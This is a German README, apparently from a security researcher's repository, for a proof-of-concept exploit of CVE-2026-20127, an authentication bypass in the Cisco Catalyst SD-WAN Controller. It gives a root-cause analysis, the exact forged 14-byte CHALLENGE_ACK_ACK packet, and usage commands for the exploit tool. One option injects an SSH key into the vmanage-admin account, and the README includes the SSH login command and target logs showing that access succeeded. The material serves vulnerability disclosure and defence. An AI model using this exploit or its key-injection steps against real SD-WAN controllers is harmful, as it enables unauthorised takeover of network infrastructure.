sfewer-r7/cve-2026-20127Exploit für Cisco Catalyst SD-WAN Controller Authentication-Bypass (CVE-2026-20127), der DTLS-CHALLENGE_ACK_ACK-Nachrichten fälscht, um unbefugten Zugriff zu erlangen und SSH-Schlüssel zu injizieren.
Ein Exploit für die Authentifizierungs-Bypass-Schwachstelle im Cisco Catalyst SD-WAN Controller, CVE-2026-20127.
Dieser Exploit zielt auf den vbond_proc_challenge_ack_ack()-Handler ab. Er sendet eine gefälschte CHALLENGE_ACK_ACK-Nachricht (msg_type=10) mit einem vom Angreifer kontrollierten verify_status=1-Byte, wodurch der Server direkt gezwungen wird, authenticated=1 auf dem Peer-Eintrag zu setzen.
Im normalen DTLS-Control-Plane-Handshake:
CHALLENGE (msg_type=8)CHALLENGE_ACK (msg_type=9), das Zertifikatsdaten enthältCHALLENGE_ACK_ACKverify_status=1Dieser Exploit unterbricht den Ablauf:
CHALLENGECHALLENGE_ACK_ACK (msg_type=10) mit verify_status=1vbond_proc_challenge_ack_ack() des Servers liest verify_status aus dem Nachrichtenrumpf – dieser ist vom Angreifer kontrolliertverify_status != 0 ist, setzt der Server authenticated=1 (*(BYTE*)(a2+70) = 1)Das Authentifizierungs-Gate in vbond_proc_msg() nimmt msg_type=10 von den Authentifizierungsprüfungen aus, sodass dies funktioniert, obwohl der Peer noch nicht authentifiziert ist.
Getestet und erfolgreich gegen Cisco Catalyst SD-WAN Controller (auch vSmart genannt), Version 20.15.3.
Getestet und fehlgeschlagen gegen einen gepatchten Cisco Catalyst SD-WAN Controller (auch vSmart genannt), Version 20.12.6.1.
Verwendung: ./bin/vdaemon_exploit TARGET [Optionen]
vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)
Dieser Exploit zielt auf den vbond_proc_challenge_ack_ack()-Handler ab.
Er sendet ein gefälschtes CHALLENGE_ACK_ACK mit verify_status=1, wodurch
der Server authenticated=1 ohne Zertifikatsverifizierung setzt.
-p, --port PORT DTLS-Port (Standard: 12346)
--inject-key SSH-Schlüssel generieren und in vmanage-admin authorized_keys injizieren
--ssh-key PUBKEY_FILE Pfad zur SSH-Public-Key-Datei, die injiziert werden soll
--cert CERT_FILE Pfad zur PEM-Zertifikatsdatei für den DTLS-Handshake
--cert-key KEY_FILE Pfad zur PEM-Private-Key-Datei für den DTLS-Handshake (wird mit --cert verwendet)
--data-dir DIR Verzeichnis für generierte Schlüssel/Zertifikate (Standard: ./data/)
Beispiele:
./bin/vdaemon_exploit 192.168.86.166
./bin/vdaemon_exploit 192.168.86.166 --inject-key
./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem
# Abhängigkeiten installieren
bundle install
# Exploit ausführen - Den Auth-Bypass testen
ruby ./bin/vdaemon_exploit 192.168.86.166
# Exploit ausführen - Den Auth-Bypass nutzen, um einen SSH-Schlüssel zu injizieren
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key
# SSH-Schlüssel nutzen - Als vmanage-admin bei NETCONF anmelden
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830
Der folgende Screenshot zeigt eine erfolgreiche Ausnutzung und den anschließenden SSH-Zugriff auf den NETCONF-Dienst:
vbond_proc_challenge_ack_ack()Befindet sich an Adresse 0x38AB7 in vdaemon (20.12.5). Die Funktion verarbeitet eingehende CHALLENGE_ACK_ACK-Nachrichten und hat diese wichtigen Prüfungen:
a2+112): Lehnt ab, wenn für diesen Peer bereits ein CHALLENGE_ACK_ACK verarbeitet wurde. Beim ersten Mal ist dieser Zähler 0 → besteht.a1+8 == 4): Gibt 20 zurück, wenn das lokale Gerät ein vBond ist. Wir zielen auf vSmart (Typ=3) ab → besteht.a3+32): Liest das erste Byte des Nachrichtenrumpfs. Wenn Null → Ablehnungspfad (Peer-Löschung). Wenn ungleich Null → setzt *(BYTE*)(a2+70) = 1 (authentifiziert).Der kritische Fehler: verify_status stammt direkt aus dem vom Angreifer kontrollierten Nachrichtenrumpf ohne serverseitige Validierung. Die Funktion vertraut der Behauptung des Peers über den Verifizierungsstatus.
In vbond_proc_msg() nimmt das Authentifizierungs-Gate, das nicht authentifizierte Peers vom Senden der meisten Nachrichtentypen abhält, ausdrücklich msg_type=10 (CHALLENGE_ACK_ACK) aus. Dies ist für den legitimen Protokollablauf notwendig (der Server sendet ACK_ACK an den Client, bevor die Authentifizierung abgeschlossen ist), erlaubt es einem Angreifer aber auch, ein gefälschtes ACK_ACK an den Server zu senden.
Der Exploit sendet eine 14-Byte-Nachricht:
Header (12 Bytes):
Byte 0: 0x0A (version=0, msg_type=10/CHALLENGE_ACK_ACK)
Byte 1: 0x30 (device_type=3/vSmart << 4)
Byte 2: 0xA0 (flags)
Byte 3: 0x00 (reserviert)
Bytes 4-7: domain_id (Big-Endian u32, Standard: 1)
Bytes 8-11: site_id (Big-Endian u32, Standard: 100)
Rumpf (2 Bytes):
Byte 0: 0x01 (verify_status = 1 / TRUE)
Byte 1: 0x00 (reserviert)
In diesem Beispiel war das Ziel ein Cisco Catalyst SD-WAN Controller (auch vSmart genannt), Version 20.15.3. Das Ziel hatte eine IP-Adresse von 192.168.86.166 und der Angreifer eine IP-Adresse von 192.168.86.35.
Die Logdatei /var/log/vsyslog zeichnete diese Meldungen auf:
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
Die Logdatei /var/log/vdebug zeichnete diese Meldungen auf:
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD
"
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up generated-at:3-9-2026T15:2:12
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
Nach erfolgreicher Nutzung des Exploits kann der entfernte Angreifer den neu hochgeladenen SSH-Schlüssel des Benutzers vmanage-admin nutzen, um sich über SSH auf TCP-Port 830 beim NETCONF-Dienst anzumelden. Die Logdatei /var/log/auth.log zeichnete diese Meldungen auf:
Mar 9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar 9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)